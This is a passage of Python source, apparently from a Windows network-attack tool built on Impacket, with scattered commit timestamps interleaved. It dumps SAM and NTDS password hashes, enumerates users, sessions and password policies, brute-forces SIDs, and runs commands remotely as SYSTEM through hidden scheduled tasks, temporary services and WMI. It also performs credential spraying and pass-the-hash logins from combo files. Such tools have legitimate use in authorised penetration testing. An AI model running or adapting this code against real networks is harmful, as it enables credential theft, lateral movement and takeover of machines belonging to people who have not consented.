ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet,key))
digit = ans[:16].decode('utf-16le')
tmpKey = tmpKey + digit
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
tmpKey = unhexlify(tmpKey)
for i in xrange(len(tmpKey)):
bootKey += tmpKey[transforms[i]]
logging.info('Target system bootKey: 0x%s' % hexlify(bootKey))
2015-08-14 14:18:52 +00:00
return bootKey
def checkNoLMHashPolicy(self):
logging.debug('Checking NoLMHash Policy')
2015-08-14 14:18:52 +00:00
winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
# We gotta find out the Current Control Set
currentControlSet = winreg.getValue('\\Select\\Current')[1]
currentControlSet = "ControlSet%03d" % currentControlSet
#noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
if noLmHash is not None:
noLmHash = noLmHash[1]
else:
noLmHash = 0
if noLmHash != 1:
logging.debug('LMHashes are being stored')
2015-08-14 14:18:52 +00:00
return False
logging.debug('LMHashes are NOT being stored')
2015-08-14 14:18:52 +00:00
return True
def dump(self, smbconnection):
2015-11-02 02:06:38 +00:00
self.__remoteOps = RemoteOperations(smbconnection)
self.__remoteOps.enableRegistry()
bootKey = self.__remoteOps.getBootKey()
# Let's check whether target system stores LM Hashes
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
SECURITYFileName = self.__remoteOps.saveSECURITY()
if self.__sam is True:
SAMFileName = self.__remoteOps.saveSAM()
self.__SAMHashes = SAMHashes(SAMFileName, bootKey)
self.dumped_sam_hashes = self.__SAMHashes.dump()
elif self.__ntds is True:
if self.__useVSSMethod:
NTDSFileName = self.__remoteOps.saveNTDS()
elif self.__useNinjaMethod:
NTDSFileName = self.__remoteOps.saveNTDS(ninja=True)
self.__useVSSMethod = True
else:
NTDSFileName = None
2015-11-02 02:06:38 +00:00
self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, useVSSMethod=self.__useVSSMethod)
2015-08-14 14:18:52 +00:00
try:
2015-11-02 02:06:38 +00:00
self.dumped_ntds_hashes = self.__NTDSHashes.dump()
except Exception, e:
logging.error(e)
if self.__useVSSMethod is False:
logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
2015-08-14 14:18:52 +00:00
def cleanup(self):
logging.info('Cleaning up... ')
2015-08-14 14:18:52 +00:00
if self.__remoteOps:
self.__remoteOps.finish()
if self.__SAMHashes:
self.__SAMHashes.finish()
if self.__NTDSHashes:
self.__NTDSHashes.finish()
2015-08-14 14:18:52 +00:00
class ListUsersException(Exception):
pass
class SAMRDump:
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445),
}
def __init__(self, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False):
if not protocols:
self.__protocols = SAMRDump.KNOWN_PROTOCOLS.keys()
else:
self.__protocols = [protocols]
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__doKerberos = doKerberos
if hashes:
self.__lmhash, self.__nthash = hashes.split(':')
def connect(self, addr):
2015-08-14 14:18:52 +00:00
"""Dumps the list of users and shares registered present at
addr. Addr is a valid host name or IP address.
"""
#logging.info('Retrieving endpoint list from %s' % addr)
2015-08-14 14:18:52 +00:00
# Try all requested protocols until one works.
for protocol in self.__protocols:
protodef = SAMRDump.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
#logging.info("Trying protocol %s..." % protocol)
2015-08-14 14:18:52 +00:00
rpctransport = transport.SMBTransport(addr, port, r'\samr', self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, doKerberos = self.__doKerberos)
dce = rpctransport.get_dce_rpc()
2015-08-14 14:18:52 +00:00
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
2015-08-14 14:18:52 +00:00
resp = samr.hSamrConnect(dce)
serverHandle = resp['ServerHandle']
resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
domains = resp['Buffer']['Buffer']
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, domains[0]['Name'])
2015-08-14 14:18:52 +00:00
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
domainHandle = resp['DomainHandle']
return rpctransport, dce, domainHandle
def convert(self, low, high, no_zero):
if low == 0 and hex(high) == "-0x80000000":
return "Not Set"
if low == 0 and high == 0:
return "None"
if no_zero: # make sure we have a +ve vale for the unsined int
if (low != 0):
high = 0 - (high+1)
else:
high = 0 - (high)
low = 0 - low
tmp = low + (high)*16**8 # convert to 64bit int
tmp *= (1e-7) # convert to seconds
try:
minutes = int(strftime("%M", gmtime(tmp))) # do the conversion to human readable format
except ValueError, e:
return "BAD TIME:"
hours = int(strftime("%H", gmtime(tmp)))
days = int(strftime("%j", gmtime(tmp)))-1
time = ""
if days > 1:
time = str(days) + " days "
elif days == 1:
time = str(days) + " day "
if hours > 1:
time += str(hours) + " hours "
elif hours == 1:
time = str(days) + " hour "
if minutes > 1:
time += str(minutes) + " minutes"
elif minutes == 1:
time = str(days) + " minute "
return time
def get_pass_pol(self, host):
rpctransport, dce, domainHandle = self.connect(host)
res_list = []
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)
min_pass_len = resp['Buffer']['Password']['MinPasswordLength']
if min_pass_len == 0: min_pass_len = None
pass_hst_len = resp['Buffer']['Password']['PasswordHistoryLength']
if pass_hst_len == 0: pass_hst_len = None
res_list.append('Minimum password length: {}'.format(min_pass_len))
res_list.append('Password history length: {}'.format(pass_hst_len))
max_pass_age = self.convert(resp['Buffer']['Password']['MaxPasswordAge']['LowPart'],
resp['Buffer']['Password']['MaxPasswordAge']['HighPart'],
1)
min_pass_age = self.convert(resp['Buffer']['Password']['MinPasswordAge']['LowPart'],
resp['Buffer']['Password']['MinPasswordAge']['HighPart'],
1)
if max_pass_age == 0: max_pass_age = None
if min_pass_age == 0: min_pass_age = None
res_list.append('Maximum password age: {}'.format(max_pass_age))
res_list.append('Minimum password age: {}'.format(min_pass_age))
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation)
lock_threshold = int(resp['Buffer']['Lockout']['LockoutThreshold'])
if lock_threshold == 0: lock_threshold = None
res_list.append("Account lockout threshold: {}".format(lock_threshold))
lock_duration = None
if lock_threshold is not None: lock_duration = int(resp['Buffer']['Lockout']['LockoutDuration']) / -600000000
res_list.append("Account lockout duration: {}".format(lock_duration))
return res_list
def get_users(self, host):
rpctransport, dce, domainHandle = self.connect(host)
entries = []
try:
2015-08-14 14:18:52 +00:00
status = STATUS_MORE_ENTRIES
enumerationContext = 0
while status == STATUS_MORE_ENTRIES:
try:
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext)
except DCERPCException, e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp = e.get_packet()
for user in resp['Buffer']['Buffer']:
r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId'])
2015-08-14 14:18:52 +00:00
info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation)
entries.append((user['Name'], user['RelativeId'], info['Buffer']['All']))
2015-08-14 14:18:52 +00:00
samr.hSamrCloseHandle(dce, r['UserHandle'])
enumerationContext = resp['EnumerationContext']
status = resp['ErrorCode']
except ListUsersException as e:
logging.info("Error listing users: %s" % e)
2015-08-14 14:18:52 +00:00
dce.disconnect()
return entries
class TSCH_EXEC:
def __init__(self, username, password, command, domain ='', hashes=None , noOutput=False):
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__myIPaddr = None
self.__aesKey = None
self.__doKerberos = False
self.__command = command
self.__tmpName = ''.join([random.choice(string.letters) for _ in range(8)])
self.__tmpFileName = self.__tmpName + '.tmp'
self.__smbConnection = None
self.__dceConnection = None
self.__noOutput = noOutput
self.__mode = 'SHARE'
self.output = ''
if hashes:
self.__lmhash, self.__nthash = hashes.split(':')
def play(self, addr):
stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % addr
rpctransport = transport.DCERPCTransportFactory(stringbinding)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey)
rpctransport.set_kerberos(self.__doKerberos)
try:
self.doStuff(rpctransport)
except SessionError as e:
if args.verbose: traceback.print_exc()
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >=0:
#If we receive the 'STATUS_OBJECT_NAME_NOT_FOUND' error, it might work if we try again
sleep(1)
self.doStuff(rpctransport)
else:
if self.__noOutput is False:
self.__myIPaddr = self.__smbConnection.getSMBServer().get_socket().getsockname()[0]
logging.info('Starting SMB Server')
smb_server = SMBServer()
smb_server.daemon = True
smb_server.start()
self.__mode = 'SERVER'
self.doStuff(rpctransport)
smb_server.stop()
def doStuff(self, rpctransport):
def output_callback(data):
self.output += data
dce = rpctransport.get_dce_rpc()
self.__dceConnection = dce
dce.set_credentials(*rpctransport.get_credentials())
dce.connect()
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
dce.bind(tsch.MSRPC_UUID_TSCHS)
xml = """<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<CalendarTrigger>
<StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
<UserId>S-1-5-18</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>true</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="LocalSystem">
<Exec>
<Command>cmd.exe</Command>
"""
if self.__mode == 'SHARE':
xml += """ <Arguments>/C {} &gt; %windir%\\Temp\\{} 2&gt;&amp;1</Arguments>
</Exec>
</Actions>
</Task>
""".format(self.__command, self.__tmpFileName)
elif self.__mode == 'SERVER':
xml += """ <Arguments>/C {} &gt; \\\\{}\\{}\\{} 2&gt;&amp;1</Arguments>
</Exec>
</Actions>
</Task>
""".format(self.__command, self.__myIPaddr, DUMMY_SHARE, self.__tmpFileName)
taskCreated = False
try:
logging.info('Creating task \\%s' % self.__tmpName)
tsch.hSchRpcRegisterTask(dce, '\\%s' % self.__tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
taskCreated = True
logging.info('Running task \\%s' % self.__tmpName)
tsch.hSchRpcRun(dce, '\\%s' % self.__tmpName)
done = False
while not done:
logging.info('Calling SchRpcGetLastRunInfo for \\%s' % self.__tmpName)
resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % self.__tmpName)
if resp['pLastRuntime']['wYear'] != 0:
done = True
else:
sleep(2)
logging.info('Deleting task \\%s' % self.__tmpName)
tsch.hSchRpcDelete(dce, '\\%s' % self.__tmpName)
taskCreated = False
except tsch.DCERPCSessionError, e:
logging.info(e)
e.get_packet().dump()
finally:
if taskCreated is True:
tsch.hSchRpcDelete(dce, '\\%s' % self.__tmpName)
if self.__noOutput is False:
if self.__mode == 'SHARE':
smbConnection = rpctransport.get_smb_connection()
self.__smbConnection = smbConnection
waitOnce = True
while True:
try:
logging.info('Attempting to read ADMIN$\\Temp\\%s' % self.__tmpFileName)
smbConnection.getFile('ADMIN$', 'Temp\\%s' % self.__tmpFileName, output_callback)
break
except Exception, e:
if str(e).find('SHARING') > 0:
sleep(3)
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
if waitOnce is True:
# We're giving it the chance to flush the file before giving up
sleep(3)
waitOnce = False
else:
raise
else:
raise
elif self.__mode == 'SERVER':
wait = 0
while wait < 5:
try:
with open(SMBSERVER_DIR + '/' + self.__tmpFileName,'r') as fd:
output_callback(fd.read())
break
except IOError:
sleep(1)
wait += 1
def cleanup(self):
logging.info('Deleting file ADMIN$\\Temp\\%s' % self.__tmpFileName)
self.__smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % self.__tmpFileName)
self.__dceConnection.disconnect()
class RemoteShellsmbexec():
def __init__(self, share, rpc, mode, serviceName, command, noOutput=False):
self.__share = share
self.__mode = mode
self.__noOutput = noOutput
self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
self.__outputBuffer = ''
self.__command = command
self.__shell = '%COMSPEC% /Q /c '
self.__serviceName = serviceName
self.__rpc = rpc
self.__scmr = rpc.get_dce_rpc()
self.__scmr.connect()
s = rpc.get_smb_connection()
# We don't wanna deal with timeouts from now on.
s.setTimeout(100000)
if mode == 'SERVER':
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
self.transferClient = rpc.get_smb_connection()
def set_copyback(self):
s = self.__rpc.get_smb_connection()
s.setTimeout(100000)
myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
def finish(self):
# Just in case the service is still created
try:
self.__scmr = self.__rpc.get_dce_rpc()
self.__scmr.connect()
self.__scmr.bind(svcctl.MSRPC_UUID_SVCCTL)
resp = scmr.hROpenSCManagerW(self.__scmr)
self.__scHandle = resp['lpScHandle']
resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
service = resp['lpServiceHandle']
scmr.hRDeleteService(self.__scmr, service)
scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
scmr.hRCloseServiceHandle(self.__scmr, service)
except Exception, e:
pass
def get_output(self):
def output_callback(data):
self.__outputBuffer += data
if self.__noOutput is True:
self.__outputBuffer = ''
return
if self.__mode == 'SHARE':
while True:
try:
self.transferClient.getFile(self.__share, self.__output, output_callback)
break
except Exception, e:
if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
sleep(1)
pass
else:
logging.info('Error while reading command output: {}'.format(e))
raise SessionError
self.transferClient.deleteFile(self.__share, self.__output)
elif self.__mode == 'SERVER':
with open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r') as fd:
output_callback(fd.read())
#self.transferClient.deleteFile(self.__share, self.__output)
def execute_remote(self, data):
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
if self.__mode == 'SERVER' and self.__noOutput is False:
command += ' & ' + self.__copyBack
command += ' & ' + 'del ' + self.__batchFile
try:
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
service = resp['lpServiceHandle']
except:
return
try:
scmr.hRStartServiceW(self.__scmr, service)
except:
pass
scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service)
self.get_output()
def send_data(self, data):
self.execute_remote(data)
result = self.__outputBuffer
self.__outputBuffer = ''
return result
2015-08-14 14:18:52 +00:00
class CMDEXEC:
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
}
def __init__(self, protocols = None, username = '', password = '', domain = '', hashes = '', share = None, command= None, noOutput=False):
2015-08-14 14:18:52 +00:00
if not protocols:
protocols = CMDEXEC.KNOWN_PROTOCOLS.keys()
self.__username = username
self.__password = password
self.__protocols = [protocols]
self.__serviceName = self.service_generator()
self.__domain = domain
self.__command = command
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = None
self.__doKerberos = None
self.__share = share
self.__noOutput = noOutput
2015-08-14 14:18:52 +00:00
self.__mode = 'SHARE'
if hashes:
self.__lmhash, self.__nthash = hashes.split(':')
def service_generator(self, size=6, chars=string.ascii_uppercase):
return ''.join(random.choice(chars) for _ in range(size))
def run(self, addr):
result = ''
for protocol in self.__protocols:
protodef = CMDEXEC.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
#logging.info("Trying protocol %s..." % protocol)
#logging.info("Creating service %s..." % self.__serviceName)
2015-08-14 14:18:52 +00:00
stringbinding = protodef[0] % addr
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(port)
if hasattr(rpctransport,'preferred_dialect'):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
try:
self.shell = RemoteShellsmbexec(self.__share, rpctransport, self.__mode, self.__serviceName, self.__command, self.__noOutput)
2015-08-14 14:18:52 +00:00
result = self.shell.send_data(self.__command)
except SessionError as e:
if 'STATUS_SHARING_VIOLATION' in str(e):
return
elif self.__noOutput is False:
logging.info('Starting SMB Server')
smb_server = SMBServer()
smb_server.daemon = True
smb_server.start()
self.__mode = 'SERVER'
self.shell = RemoteShellsmbexec(self.__share, rpctransport, self.__mode, self.__serviceName, self.__command)
self.shell.set_copyback()
result = self.shell.send_data(self.__command)
smb_server.stop()
2015-08-14 14:18:52 +00:00
else:
if args.verbose: traceback.print_exc()
if hasattr(self, 'shell'):
self.shell.finish()
sys.stdout.flush()
2015-08-14 14:18:52 +00:00
return result
class RemoteShellwmi():
def __init__(self, share, win32Process, smbConnection, mode, noOutput=False):
2015-08-14 14:18:52 +00:00
self.__share = share
2015-08-20 11:45:12 +00:00
self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
2015-08-14 14:18:52 +00:00
self.__outputBuffer = ''
self.__shell = 'cmd.exe /Q /c '
self.__win32Process = win32Process
self.__transferClient = smbConnection
self.__pwd = 'C:\\'
self.__noOutput = noOutput
self.__mode = mode
2015-08-14 14:18:52 +00:00
# We don't wanna deal with timeouts from now on.
self.__transferClient.setTimeout(100000)
self.__myIPaddr = self.__transferClient.getSMBServer().get_socket().getsockname()[0]
2015-08-14 14:18:52 +00:00
def get_output(self):
def output_callback(data):
self.__outputBuffer += data
if self.__noOutput is True:
self.__outputBuffer = ''
return
if self.__mode == 'SHARE':
while True:
try:
self.__transferClient.getFile(self.__share, self.__output, output_callback)
break
except Exception, e:
if "STATUS_SHARING_VIOLATION" in str(e):
sleep(1)
pass
else:
logging.info('Error while reading command output: {}'.format(e))
raise SessionError
self.__transferClient.deleteFile(self.__share, self.__output)
elif self.__mode == 'SERVER':
wait = 0
while wait < 5:
try:
with open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r') as fd:
output_callback(fd.read())
break
except IOError:
2015-08-14 14:18:52 +00:00
sleep(1)
wait += 1
2015-08-14 14:18:52 +00:00
def execute_remote(self, data):
command = self.__shell + data
if self.__noOutput is False:
if self.__mode == 'SERVER':
command += ' 1> ' + '\\\\{}\\{}\\{}'.format(self.__myIPaddr, DUMMY_SHARE, OUTPUT_FILENAME) + ' 2>&1'
elif self.__mode == 'SHARE':
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
2015-08-14 14:18:52 +00:00
obj = self.__win32Process.Create(command, self.__pwd, None)
self.get_output()
def send_data(self, data):
self.execute_remote(data)
result = self.__outputBuffer
self.__outputBuffer = ''
return result
class WMIEXEC:
def __init__(self, command = '', username = '', password = '', domain = '', hashes = '', share = None, noOutput=False):
self.__command = command
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = None
self.__share = share
self.__noOutput = noOutput
self.__doKerberos = False
self.__mode = "SHARE"
if hashes:
self.__lmhash, self.__nthash = hashes.split(':')
def run(self, addr, smbConnection):
result = ''
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process,_ = iWbemServices.GetObject('Win32_Process')
try:
self.shell = RemoteShellwmi(self.__share, win32Process, smbConnection, self.__mode, self.__noOutput)
result = self.shell.send_data(self.__command)
except SessionError as e:
if self.__noOutput is False:
logging.info('Starting SMB Server')
smb_server = SMBServer()
smb_server.daemon = True
smb_server.start()
self.__mode = 'SERVER'
self.shell = RemoteShellwmi(self.__share, win32Process, smbConnection, self.__mode)
result = self.shell.send_data(self.__command)
smb_server.stop()
dcom.disconnect()
return result
class WMIQUERY:
def __init__(self, address, username, password, domain, hashes, namespace):
self.address = address
self.username = username
self.password = password
self.domain= domain
self.namespace = namespace
self.lmhash = ''
self.nthash = ''
if hashes:
self.lmhash, self.nthash = hashes.split(':')
def run(self, query):
record_dict = {}
dcom = DCOMConnection(self.address, self.username, self.password, self.domain, self.lmhash, self.nthash, None, oxidResolver = True, doKerberos=False)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin(self.namespace, NULL, NULL)
iWbemLevel1Login.RemRelease()
query = query.strip('\n')
if query[-1:] == ';':
query = query[:-1]
iEnumWbemClassObject = iWbemServices.ExecQuery(query.strip('\n'))
printHeader = True
while True:
try:
pEnum = iEnumWbemClassObject.Next(0xffffffff,1)[0]
record = pEnum.getProperties()
if printHeader is True:
for col in record:
record_dict[str(col)] = []
printHeader = False
for key in record:
record_dict[key].append(str(record[key]['value']))
except Exception as e:
if str(e).find('S_FALSE') < 0:
raise
else:
break
iEnumWbemClassObject.RemRelease()
dcom.disconnect()
return record_dict
class LSALookupSid:
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 445),
}
def __init__(self, username, password, domain, protocols = None, hashes = None, maxRid=4000):
if not protocols:
protocols = LSALookupSid.KNOWN_PROTOCOLS.keys()
self.__username = username
self.__password = password
self.__protocols = [protocols]
self.__maxRid = int(maxRid)
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def dump(self, addr):
logging.info('Brute forcing SIDs at %s' % addr)
# Try all requested protocols until one works.
for protocol in self.__protocols:
protodef = LSALookupSid.KNOWN_PROTOCOLS[protocol]
port = protodef[1]
logging.info("Trying protocol %s..." % protocol)
stringbinding = protodef[0] % addr
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(port)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
try:
self.__bruteForce(rpctransport, self.__maxRid)
except Exception, e:
logging.critical(str(e))
raise
else:
# Got a response. No need for further iterations.
break
def __bruteForce(self, rpctransport, maxRid):
dce = rpctransport.get_dce_rpc()
entries = []
dce.connect()
# Want encryption? Uncomment next line
# But make SIMULTANEOUS variable <= 100
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
# Want fragmentation? Uncomment next line
#dce.set_max_fragment_size(32)
dce.bind(lsat.MSRPC_UUID_LSAT)
resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
soFar = 0
SIMULTANEOUS = 1000
for j in range(maxRid/SIMULTANEOUS+1):
if (maxRid - soFar) / SIMULTANEOUS == 0:
sidsToCheck = (maxRid - soFar) % SIMULTANEOUS
else:
sidsToCheck = SIMULTANEOUS
if sidsToCheck == 0:
break
sids = []
for i in xrange(soFar, soFar+sidsToCheck):
sids.append(domainSid + '-%d' % i)
try:
lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
except DCERPCException, e:
if str(e).find('STATUS_NONE_MAPPED') >= 0:
soFar += SIMULTANEOUS
continue
elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
resp = e.get_packet()
else:
raise
for n, item in enumerate(resp['TranslatedNames']['Names']):
if item['Use'] != SID_NAME_USE.SidTypeUnknown:
entries.append("{}: {}\\{} ({})".format(soFar+n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], SID_NAME_USE.enumItems(item['Use']).name))
soFar += SIMULTANEOUS
self.entries = entries
dce.disconnect()
class RPCENUM():
def __init__(self, username, password, domain='', hashes=None):
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
if hashes:
self.__lmhash, self.__nthash = hashes.split(':')
def connect(self, host, service):
if service == 'wkssvc':
stringBinding = r'ncacn_np:{}[\PIPE\wkssvc]'.format(host)
elif service == 'srvsvc':
stringBinding = r'ncacn_np:{}[\PIPE\srvsvc]'.format(host)
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
if service == 'wkssvc':
dce.bind(wkst.MSRPC_UUID_WKST, transfer_syntax = self.__ts)
elif service == 'srvsvc':
dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.__ts)
return dce, rpctransport
def enum_logged_on_users(self, host):
dce, rpctransport = self.connect(host, 'wkssvc')
users_info = {}
try:
resp = wkst.hNetrWkstaUserEnum(dce, 1)
return resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
except Exception:
resp = wkst.hNetrWkstaUserEnum(dce, 0)
return resp['UserInfo']['WkstaUserInfo']['Level0']['Buffer']
def enum_sessions(self, host):
dce, rpctransport = self.connect(host, 'srvsvc')
session_info = {}
try:
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 502)
return resp['InfoStruct']['SessionInfo']['Level502']['Buffer']
except Exception:
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 0)
return resp['InfoStruct']['SessionInfo']['Level0']['Buffer']
#resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 1)
#resp.dump()
#resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 2)
#resp.dump()
#resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)
#resp.dump()
def enum_disks(self, host):
dce, rpctransport = self.connect(host, 'srvsvc')
try:
resp = srvs.hNetrServerDiskEnum(dce, 1)
return resp
except Exception:
resp = srvs.hNetrServerDiskEnum(dce, 0)
return resp
def smart_login(host, smb, domain):
if args.combo_file:
with open(args.combo_file, 'r') as combo_file:
for line in combo_file:
try:
line = line.strip()
lmhash = ''
nthash = ''
if '\\' in line:
domain, user_pass = line.split('\\')
else:
user_pass = line
'''
Here we try to manage two cases: if an entry has a hash as the password,
or if the plain-text password contains a ':'
'''
if len(user_pass.split(':')) == 3:
hash_or_pass = ':'.join(user_pass.split(':')[1:3]).strip()
#Not the best way to determine of it's an NTLM hash :/
if len(hash_or_pass) == 65 and len(hash_or_pass.split(':')[0]) == 32 and len(hash_or_pass.split(':')[1]) == 32:
lmhash, nthash = hash_or_pass.split(':')
passwd = hash_or_pass
user = user_pass.split(':')[0]
elif len(user_pass.split(':')) == 2:
user, passwd = user_pass.split(':')
try:
smb.login(user, passwd, domain, lmhash, nthash)
print_succ("{}:{} Login successful {}\\{}:{}".format(host, args.port, domain, user, passwd))
return smb
except SessionError as e:
print_error("{}:{} {}\\{}:{} {}".format(host, args.port, domain, user, passwd, e))
continue
except Exception as e:
print_error("Error parsing line '{}' in combo file: {}".format(line, e))
continue
else:
usernames = []
passwords = []
hashes = []
if args.user is not None:
if os.path.exists(args.user):
usernames = open(args.user, 'r')
else:
usernames = args.user.split(',')
if args.passwd is not None:
if os.path.exists(args.passwd):
